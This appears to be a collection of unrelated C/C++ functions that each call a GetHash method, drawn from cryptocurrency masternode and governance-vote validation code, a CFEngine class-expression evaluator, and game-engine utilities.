bool CMasternodePing::CheckAndUpdate(int& nDos, bool fRequireEnabled) { if (sigTime > GetAdjustedTime() + 60 * 60) { LogPrintf("CMasternodePing::CheckAndUpdate - Signature rejected, too far into the future %s\n", vin.ToString()); nDos = 1; return false; } if (sigTime <= GetAdjustedTime() - 60 * 60) { LogPrintf("CMasternodePing::CheckAndUpdate - Signature rejected, too far into the past %s - %d %d \n", vin.ToString(), sigTime, GetAdjustedTime()); nDos = 1; return false; } LogPrint("masternode", "CMasternodePing::CheckAndUpdate - New Ping - %s - %s - %lli\n", GetHash().ToString(), blockHash.ToString(), sigTime); // see if we have this Masternode CMasternode* pmn = mnodeman.Find(vin); if(pmn != NULL && pmn->protocolVersion >= masternodePayments.GetMinMasternodePaymentsProto()) { if (fRequireEnabled && !pmn->IsEnabled()) return false; // LogPrintf("mnping - Found corresponding mn for vin: %s\n", vin.ToString()); // update only if there is no known ping for this masternode or // last ping was more then MASTERNODE_MIN_MNP_SECONDS-60 ago comparing to this one if(!pmn->IsPingedWithin(MASTERNODE_MIN_MNP_SECONDS - 60, sigTime)) { std::string strMessage = vin.ToString() + blockHash.ToString() + boost::lexical_cast<std::string>(sigTime); std::string errorMessage = ""; if(!obfuScationSigner.VerifyMessage(pmn->pubkey2, vchSig, strMessage, errorMessage)) { LogPrintf("CMasternodePing::CheckAndUpdate - Got bad Masternode address signature %s\n", vin.ToString()); nDos = 33; return false; } BlockMap::iterator mi = mapBlockIndex.find(blockHash); if (mi != mapBlockIndex.end() && (*mi).second) { if((*mi).second->nHeight < chainActive.Height() - 24) { LogPrintf("CMasternodePing::CheckAndUpdate - Masternode %s block hash %s is too old\n", vin.ToString(), blockHash.ToString()); // Do nothing here (no Masternode update, no mnping relay) // Let this node to be visible but fail to accept mnping return false; } } else { if (fDebug) LogPrintf("CMasternodePing::CheckAndUpdate - Masternode %s block hash %s is unknown\n", vin.ToString(), blockHash.ToString()); // maybe we stuck so we shouldn't ban this node, just fail to accept it // TODO: or should we also request this block? return false; } pmn->lastPing = *this; //mnodeman.mapSeenMasternodeBroadcast.lastPing is probably outdated, so we'll update it CMasternodeBroadcast mnb(*pmn); uint256 hash = mnb.GetHash(); if(mnodeman.mapSeenMasternodeBroadcast.count(hash)) { mnodeman.mapSeenMasternodeBroadcast[hash].lastPing = *this; } pmn->Check(true); if(!pmn->IsEnabled()) return false; LogPrint("masternode", "CMasternodePing::CheckAndUpdate - Masternode ping accepted, vin: %s\n", vin.ToString()); Relay(); return true; } LogPrint("masternode", "CMasternodePing::CheckAndUpdate - Masternode ping arrived too early, vin: %s\n", vin.ToString()); //nDos = 1; //disable, this is happening frequently and causing banned peers return false; } LogPrint("masternode", "CMasternodePing::CheckAndUpdate - Couldn't find compatible Masternode entry, vin: %s\n", vin.ToString()); return false; }
CacheHash::Hash16_t CacheHash::GetHash16() { Hash32_t hash = GetHash(); return (hash & 0xFFFF); }
static int EvalClassExpression(EvalContext *ctx, Constraint *cp, Promise *pp) { int result_and = true; int result_or = false; int result_xor = 0; int result = 0, total = 0; char buffer[CF_MAXVARSIZE]; Rlist *rp; double prob, cum = 0, fluct; FnCall *fp; Rval rval; if (cp == NULL) { CfOut(OUTPUT_LEVEL_ERROR, "", " !! EvalClassExpression internal diagnostic discovered an ill-formed condition"); } if (!IsDefinedClass(ctx, pp->classes, PromiseGetNamespace(pp))) { return false; } if (pp->done) { return false; } if (IsDefinedClass(ctx, pp->promiser, PromiseGetNamespace(pp))) { if (PromiseGetConstraintAsInt(ctx, "persistence", pp) == 0) { CfOut(OUTPUT_LEVEL_VERBOSE, "", " ?> Cancelling cached persistent class %s", pp->promiser); EvalContextHeapPersistentRemove(pp->promiser); } return false; } switch (cp->rval.type) { case RVAL_TYPE_FNCALL: fp = (FnCall *) cp->rval.item; /* Special expansion of functions for control, best effort only */ FnCallResult res = FnCallEvaluate(ctx, fp, pp); FnCallDestroy(fp); cp->rval = res.rval; break; case RVAL_TYPE_LIST: for (rp = (Rlist *) cp->rval.item; rp != NULL; rp = rp->next) { rval = EvaluateFinalRval(ctx, "this", (Rval) {rp->item, rp->type}, true, pp); RvalDestroy((Rval) {rp->item, rp->type}); rp->item = rval.item; rp->type = rval.type; } break; default: rval = ExpandPrivateRval("this", cp->rval); RvalDestroy(cp->rval); cp->rval = rval; break; } if (strcmp(cp->lval, "expression") == 0) { if (cp->rval.type != RVAL_TYPE_SCALAR) { return false; } if (IsDefinedClass(ctx, (char *) cp->rval.item, PromiseGetNamespace(pp))) { return true; } else { return false; } } if (strcmp(cp->lval, "not") == 0) { if (cp->rval.type != RVAL_TYPE_SCALAR) { return false; } if (IsDefinedClass(ctx, (char *) cp->rval.item, PromiseGetNamespace(pp))) { return false; } else { return true; } } // Class selection if (strcmp(cp->lval, "select_class") == 0) { char splay[CF_MAXVARSIZE]; int i, n; double hash; total = 0; for (rp = (Rlist *) cp->rval.item; rp != NULL; rp = rp->next) { total++; } if (total == 0) { CfOut(OUTPUT_LEVEL_ERROR, "", " !! No classes to select on RHS"); PromiseRef(OUTPUT_LEVEL_ERROR, pp); return false; } snprintf(splay, CF_MAXVARSIZE, "%s+%s+%ju", VFQNAME, VIPADDRESS, (uintmax_t)getuid()); hash = (double) GetHash(splay, CF_HASHTABLESIZE); n = (int) (total * hash / (double) CF_HASHTABLESIZE); for (rp = (Rlist *) cp->rval.item, i = 0; rp != NULL; rp = rp->next, i++) { if (i == n) { EvalContextHeapAddSoft(ctx, rp->item, PromiseGetNamespace(pp)); return true; } } } // Class distributions if (strcmp(cp->lval, "dist") == 0) { for (rp = (Rlist *) cp->rval.item; rp != NULL; rp = rp->next) { result = IntFromString(rp->item); if (result < 0) { CfOut(OUTPUT_LEVEL_ERROR, "", " !! Non-positive integer in class distribution"); PromiseRef(OUTPUT_LEVEL_ERROR, pp); return false; } total += result; } if (total == 0) { CfOut(OUTPUT_LEVEL_ERROR, "", " !! An empty distribution was specified on RHS"); PromiseRef(OUTPUT_LEVEL_ERROR, pp); return false; } } fluct = drand48(); /* Get random number 0-1 */ cum = 0.0; /* If we get here, anything remaining on the RHS must be a clist */ if (cp->rval.type != RVAL_TYPE_LIST) { CfOut(OUTPUT_LEVEL_ERROR, "", " !! RHS of promise body attribute \"%s\" is not a list\n", cp->lval); PromiseRef(OUTPUT_LEVEL_ERROR, pp); return true; } for (rp = (Rlist *) cp->rval.item; rp != NULL; rp = rp->next) { if (rp->type != RVAL_TYPE_SCALAR) { return false; } result = IsDefinedClass(ctx, (char *) (rp->item), PromiseGetNamespace(pp)); result_and = result_and && result; result_or = result_or || result; result_xor ^= result; if (total > 0) // dist class { prob = ((double) IntFromString(rp->item)) / ((double) total); cum += prob; if ((fluct < cum) || rp->next == NULL) { snprintf(buffer, CF_MAXVARSIZE - 1, "%s_%s", pp->promiser, (char *) rp->item); *(pp->donep) = true; if (strcmp(PromiseGetBundle(pp)->type, "common") == 0) { EvalContextHeapAddSoft(ctx, buffer, PromiseGetNamespace(pp)); } else { NewBundleClass(ctx, buffer, PromiseGetBundle(pp)->name, PromiseGetNamespace(pp)); } CfDebug(" ?? \'Strategy\' distribution class interval -> %s\n", buffer); return true; } } } // Class combinations if (strcmp(cp->lval, "or") == 0) { return result_or; } if (strcmp(cp->lval, "xor") == 0) { return (result_xor == 1) ? true : false; } if (strcmp(cp->lval, "and") == 0) { return result_and; } return false; }
bool CGovernanceObject::ProcessVote(CNode* pfrom, const CGovernanceVote& vote, CGovernanceException& exception, CConnman* connman) { LOCK(cs_fobject); std::string strResult; // do not process already known valid votes twice if (fileVotes.HasVote(vote.GetHash())) { // nothing to do here, not an error strResult = "CGovernanceObject::ProcessVote -- Already known valid vote"; LogPrint(BCLog::GOV, "%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_NONE); return false; } if (!mnodeman.Has(vote.GetMasternodeOutpoint())) { strResult = strprintf("CGovernanceObject::ProcessVote -- Masternode " + vote.GetMasternodeOutpoint().ToStringShort() + " not found"); LogPrint(BCLog::GOV, "%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_WARNING); if (cmmapOrphanVotes.Insert(vote.GetMasternodeOutpoint(), vote_time_pair_t(vote, GetAdjustedTime() + GOVERNANCE_ORPHAN_EXPIRATION_TIME))) { if (pfrom) { mnodeman.AskForMN(pfrom, vote.GetMasternodeOutpoint(), connman); } LogPrintf("%s\n", strResult); } else { LogPrint(BCLog::GOV, "%s\n", strResult); } return false; } vote_m_it it = mapCurrentMNVotes.emplace(vote_m_t::value_type(vote.GetMasternodeOutpoint(), vote_rec_t())).first; vote_rec_t& voteRecordRef = it->second; vote_signal_enum_t eSignal = vote.GetSignal(); if (eSignal == VOTE_SIGNAL_NONE) { strResult = "CGovernanceObject::ProcessVote -- Vote signal: none"; LogPrint(BCLog::GOV, "%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_WARNING); return false; } if (eSignal > MAX_SUPPORTED_VOTE_SIGNAL) { strResult = strprintf("CGovernanceObject::ProcessVote -- Unsupported vote signal: " + CGovernanceVoting::ConvertSignalToString(vote.GetSignal())); LogPrintf("%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_PERMANENT_ERROR, 20); return false; } vote_instance_m_it it2 = voteRecordRef.mapInstances.emplace(vote_instance_m_t::value_type(int(eSignal), vote_instance_t())).first; vote_instance_t& voteInstanceRef = it2->second; // Reject obsolete votes if (vote.GetTimestamp() < voteInstanceRef.nCreationTime) { strResult = "CGovernanceObject::ProcessVote -- Obsolete vote"; LogPrint(BCLog::GOV, "%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_NONE); return false; } int64_t nNow = GetAdjustedTime(); int64_t nVoteTimeUpdate = voteInstanceRef.nTime; if (governance.AreRateChecksEnabled()) { int64_t nTimeDelta = nNow - voteInstanceRef.nTime; if (nTimeDelta < GOVERNANCE_UPDATE_MIN) { strResult = strprintf("CGovernanceObject::ProcessVote -- Masternode voting too often, MN outpoint = " + vote.GetMasternodeOutpoint().ToStringShort() + ", governance object hash = " + GetHash().ToString() + ", time delta = %d", nTimeDelta); LogPrint(BCLog::GOV, "%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_TEMPORARY_ERROR); nVoteTimeUpdate = nNow; return false; } } // Finally check that the vote is actually valid (done last because of cost of signature verification) if (!vote.IsValid(true)) { strResult = strprintf("CGovernanceObject::ProcessVote -- Invalid vote, MN outpoint = " + vote.GetMasternodeOutpoint().ToStringShort() + ", governance object hash = " + GetHash().ToString() + ", vote hash = " + vote.GetHash().ToString()); LogPrintf("%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_PERMANENT_ERROR, 20); governance.AddInvalidVote(vote); return false; } if (!mnodeman.AddGovernanceVote(vote.GetMasternodeOutpoint(), vote.GetParentHash())) { strResult = strprintf("CGovernanceObject::ProcessVote -- Unable to add governance vote, MN outpoint = " + vote.GetMasternodeOutpoint().ToStringShort() + ", governance object hash = " + GetHash().ToString()); LogPrint(BCLog::GOV, "%s\n", strResult); exception = CGovernanceException(strResult, GOVERNANCE_EXCEPTION_PERMANENT_ERROR); return false; } voteInstanceRef = vote_instance_t(vote.GetOutcome(), nVoteTimeUpdate, vote.GetTimestamp()); fileVotes.AddVote(vote); fDirtyCache = true; return true; }
HashedString WBEvent::SParameter::CoerceHash() const { return m_Type == EWBEPT_Hash ? GetHash() : HashedString(); }
bool CGovernanceObject::ProcessVote(CNode* pfrom, const CGovernanceVote& vote, CGovernanceException& exception, CConnman& connman) { if(!mnodeman.Has(vote.GetMasternodeOutpoint())) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Masternode index not found"; exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_WARNING); if(mapOrphanVotes.Insert(vote.GetMasternodeOutpoint(), vote_time_pair_t(vote, GetAdjustedTime() + GOVERNANCE_ORPHAN_EXPIRATION_TIME))) { if(pfrom) { mnodeman.AskForMN(pfrom, vote.GetMasternodeOutpoint(), connman); } LogPrintf("%s\n", ostr.str()); } else { LogPrint("gobject", "%s\n", ostr.str()); } return false; } vote_m_it it = mapCurrentMNVotes.find(vote.GetMasternodeOutpoint()); if(it == mapCurrentMNVotes.end()) { it = mapCurrentMNVotes.insert(vote_m_t::value_type(vote.GetMasternodeOutpoint(), vote_rec_t())).first; } vote_rec_t& recVote = it->second; vote_signal_enum_t eSignal = vote.GetSignal(); if(eSignal == VOTE_SIGNAL_NONE) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Vote signal: none"; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_WARNING); return false; } if(eSignal > MAX_SUPPORTED_VOTE_SIGNAL) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Unsupported vote signal: " << CGovernanceVoting::ConvertSignalToString(vote.GetSignal()); LogPrintf("%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_PERMANENT_ERROR, 20); return false; } vote_instance_m_it it2 = recVote.mapInstances.find(int(eSignal)); if(it2 == recVote.mapInstances.end()) { it2 = recVote.mapInstances.insert(vote_instance_m_t::value_type(int(eSignal), vote_instance_t())).first; } vote_instance_t& voteInstance = it2->second; // Reject obsolete votes if(vote.GetTimestamp() < voteInstance.nCreationTime) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Obsolete vote"; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_NONE); return false; } int64_t nNow = GetAdjustedTime(); int64_t nVoteTimeUpdate = voteInstance.nTime; if(governance.AreRateChecksEnabled()) { int64_t nTimeDelta = nNow - voteInstance.nTime; if(nTimeDelta < GOVERNANCE_UPDATE_MIN) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Masternode voting too often" << ", MN outpoint = " << vote.GetMasternodeOutpoint().ToStringShort() << ", governance object hash = " << GetHash().ToString() << ", time delta = " << nTimeDelta; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_TEMPORARY_ERROR); nVoteTimeUpdate = nNow; return false; } } // Finally check that the vote is actually valid (done last because of cost of signature verification) if(!vote.IsValid(true)) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Invalid vote" << ", MN outpoint = " << vote.GetMasternodeOutpoint().ToStringShort() << ", governance object hash = " << GetHash().ToString() << ", vote hash = " << vote.GetHash().ToString(); LogPrintf("%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_PERMANENT_ERROR, 20); governance.AddInvalidVote(vote); return false; } if(!mnodeman.AddGovernanceVote(vote.GetMasternodeOutpoint(), vote.GetParentHash())) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Unable to add governance vote" << ", MN outpoint = " << vote.GetMasternodeOutpoint().ToStringShort() << ", governance object hash = " << GetHash().ToString(); LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_PERMANENT_ERROR); return false; } voteInstance = vote_instance_t(vote.GetOutcome(), nVoteTimeUpdate, vote.GetTimestamp()); if(!fileVotes.HasVote(vote.GetHash())) { fileVotes.AddVote(vote); } fDirtyCache = true; return true; }
void ContextData::SetCachedImpl(const char *name, int64_t io_threads, ContextData *context) { auto key = GetHash(name, io_threads); s_connections[key] = context; }
//---------------------------------------------------------------------------// bool SubModelDesc::operator==(const SubModelDesc& anOther) const { return GetHash() == anOther.GetHash(); }
uint256 CBlockHeader::GetHash() const { const Consensus::Params& consensusParams = Params().GetConsensus(); return GetHash(consensusParams); }
/*static*/ HashedString ConfigManager::GetSequenceHash( const SimpleString& FormatName, int Index, const HashedString& Default /*= HashedString::NullString*/, const STRING_TYPE& Context /*= EmptyContext*/ ) { return GetHash( SimpleString::PrintF( FormatName.CStr(), Index ), Default, Context ); }